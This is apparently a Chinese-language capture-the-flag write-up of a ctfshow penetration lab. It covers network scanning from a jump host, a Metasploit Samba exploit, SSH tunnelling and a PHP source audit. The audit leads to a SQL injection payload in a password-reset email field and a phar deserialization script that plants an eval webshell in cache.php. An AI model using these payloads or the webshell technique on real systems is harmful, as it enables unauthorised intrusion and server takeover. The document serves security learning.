这是一道ctfshow上面的渗透题,来自2023年2月的RealWorldCTF渗透赛环境,提供了跳板机,这里来打一打学习一下。
信息搜集
先用Termius连接跳板机,然后使用如下命令获得一个交互式shell方便一点
sudo -s #切换到root用户 python3 -c "import pty;pty.spawn('/bin/bash')" #获得交互式shell
|
然后上传fscan上去扫一下,这里先用Termius的sftp发现传不了失败了
但是可以用scp来传
scp命令 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。
scp -P 28260 fscan_amd64 ctfshow@pwn.challenge.ctf.show:/tmp #将fscan上传到/tmp目录下面
|
然后进行扫描看看
./fscan_amd64 -h 172.2.90.0/24 > fscan.txt #保存到文件下面方便查看
|
这是扫描结果
然后再单独扫一下172.2.90.5 这个地址
./fscan_amd64 -h 172.2.90.5
|
看上去是有个cve的样子,然后结合上面172.2.90.6还开放了445和139这两个共享端口,172.2.90.6用的系统是Windows6.1,172.2.90.5还开放了一个9000端口,信息搜集大概就这么多。
开始渗透
尝试对139和445端口渗透
先针对上面的139和445这两个常见的危险端口进行渗透,msf有相关的利用模块,该跳板机已经给我们配置了msf
445端口存在smb服务
search ms17_010 #msf搜索一下相关模块
|
先使用扫描模块对靶机进行扫描
use auxiliary/scanner/smb/smb_ms17_010 set rhost 172.2.90.6 run
|
emmm似乎没有漏洞
那换一个139端口看看,139端口存在samba服务
那再用exp打一下这个端口看看
use exploit/linux/samba/is_known_pipename set rhost 172.2.90.6 exploit
|
然后在root下面看到flag
看看web页面
很奇怪上面一下子就打出来flag有点容易(
那就来看一下web页面吧,顺便学学ssh隧道,一开始想用frp代理但是不出网
做一个ssh隧道转发
#ssh -CfNg -L (本地端口):(目标主机ip):(目标主机端口) (跳板机用户名)@(跳板机ip) -p (跳板机端口) ssh -CfNg -L 80:172.2.90.5:80 ctfshow@pwn.challenge.ctf.show -p 28260
|
额怪了一直说识别不了主机
最后用termius的port forwarding做了一个ssh隧道映射到本地的8081端口
然后访问本地的8081端口即可
然后点击下图的位置会跳到该项目的gitee仓库,里面有源码,可以下载下来代码审计
代码审计
看了前端的页面我们可以知道他会向api/index.php发送请求,我们去看一下api目录
发现有三个文件
config.php
数据库名、用户名、密码我们都知道了,可以考虑一下注入或者能不能登陆后台
index.php
public function doAction(){ $action = $_GET['a'] ?? "login";
switch ($action) { case 'login': $this->doLogin(); break; case 'reset': $this->doReset(); break; case 'view': $this->doView(); break; default: $this->doDefault(); break; } }
|
可以得知该系统通过给a传参,根据传参的不同去实现不同的功能,一个功能由一个函数执行
doLogin()功能
首先来审一下登陆区的功能
function doLogin(){
include 'config.php'; $username = $this->doFilter($_POST['username']); $password = $this->doFilter($_POST['password']); $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $conn->query("set name $charName"); $sql = "select password from user where username = '$username' and password = '$password' limit 0,1;";
$result = $conn->query($sql); $row = $result->fetch_array(MYSQLI_ASSOC);
if($row['password']===$password){ $_SESSION['LOGIN']=true;
}else{ $_SESSION['LOGIN']=false; $_SESSION['msg']='登陆失败';
} $conn->close(); $_SESSION['LOGIN']?$this->dispatcher("../ckfinder/ckfinder.html"):$this->dispatcher("../index.php"); }
function doFilter($str){ $str = str_replace("'", "%27", $str); $str = str_replace("\"", "%22", $str); $str = str_replace("\\", "%5c", $str);
return $str; }
|
这里没有预编译很明显是可以sql注入的,这里对username和password进行了一些过滤,将’、”、\都换成对应的url编码的字符串。然后判断登陆是否成功的逻辑就是,与查询回来对应用户名的password是否相等,若相等则sesson的login参数为true,然后跳转到登陆后的页面。
但是看上去有点难注入,登陆不了admin,看了一下doReset功能没有doFilter过滤,有点机会
function doReset(){ include 'config.php'; $email = filter_input(INPUT_POST, 'email',FILTER_VALIDATE_EMAIL); $username = $this->doFilter($_POST['username']); $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $conn->query("set name $charName"); $sql = "select email from user where email = '$email' and username = '$username'";
$result = $conn->query($sql); $row = $result->fetch_array(MYSQLI_ASSOC); if($row['email']){ $_SESSION['RESET']=true; $this->email = $row['email']; $_SESSION['msg']="你好! 已经将重置密码链接发送至邮箱".$this->email; }else{ $_SESSION['RESET']=false; $_SESSION['msg']="邮箱不存在"; } $conn->close(); $this->dispatcher("../index.php"); }
|
可以知道我们可以在传email参数时只需要符合邮箱规则就可以随便注入了
'/**/union/**/select/**/password/**/from/**/user#@qq.com
|
一开始尝试用where想着指定username但是就会弹出邮箱不存在,他这里的用户名是ctfshow我一开始还以为是admin,不过知道了之后带上where还是不行,估计是不符合他函数的邮箱格式,返回NULL了直接。
文件上传
登陆进去之后就是一个经典的后台文件上传,先去看看源码有没有文件上传漏洞
嘶发现源码看不了,传了一个图片文件上去看了一下
去看了一下doView()函数,他的图片应该是放在userfiles的目录下面
function doView(){
$this->checkSession(); $file=str_replace("..","",$_POST['file']);
if(file_exists($file)){ header("Content-type: image/jpeg"); echo file_get_contents("../ckfinder/userfiles/".$file); } }
|
再去抓了个包看了一下,具体的路径如下图
尝试能不能上传.php文件,抓了个包但是发现校验在前端完成,后端做的就是刷新一下这个页面
看来直接传应该是不行了
sendResetMail
再来看一下这个函数
function sendResetMail($mail){ $content = "你好,下面是你的重置密码链接,请复制到浏览器地址栏打开."; $content.= "http://xxx.com/?token=xxxx&email=$mail";
file_put_contents("../mail_cache/cache.php","<?php exit('$content');?>"); }
|
这里有一个file_put_contents()函数,看看能不能写码进去,看一下哪里引用了这个函数。
先是clear这里引用了一下,再去看哪里引用了clear
可以看到__wakeup()魔术方法引用了clear,但是再往上找就没有了,想要触发的话就需要反序列化,但是这里也没有反序列化的入口
这时候就可以想到phar了,毕竟我们还有个文件上传的功能,那要怎么触发phar呢,上面看过的doView函数就可以
function doView(){
$this->checkSession(); $file=str_replace("..","",$_POST['file']);
if(file_exists($file)){ header("Content-type: image/jpeg"); echo file_get_contents("../ckfinder/userfiles/".$file); } }
|
幸运的是这里的file参数我们是可控的
那利用条件达成,现在就是生成一个phar文件,后缀改成png或者jpg即可,毕竟phar文件是不以后缀名来辨认了,注意这里还要写一个真的图片文件进去,一开始没写改了后缀还是不行。。。
<?php class action{ private $email="'.eval(\$_POST[1]));//"; } @unlink("web859.phar"); $phar=new Phar("web859.phar"); $phar->startBuffering(); $phar->setStub(file_get_contents('test1.png')."<?php __HALT_COMPILER();?>"); $o=new action(); $phar->setMetadata(array(1,$o)); $phar->addFromString("test.txt","hello~"); $phar->stopBuffering();
?>
|
php -d phar.readonly=0 phar.php
|
上传成功,现在我们直接去用phar伪协议读取这个图片就可以把我们的码写到../mail_cache/cache.php
这个地方了
抓包找到路径
然后去api/index.php
file=phar:///var/www/html/ckfinder/userfiles/web859.png
|
然后直接蚁剑连接http://127.0.0.1:8081/mail_cache/cache.php即可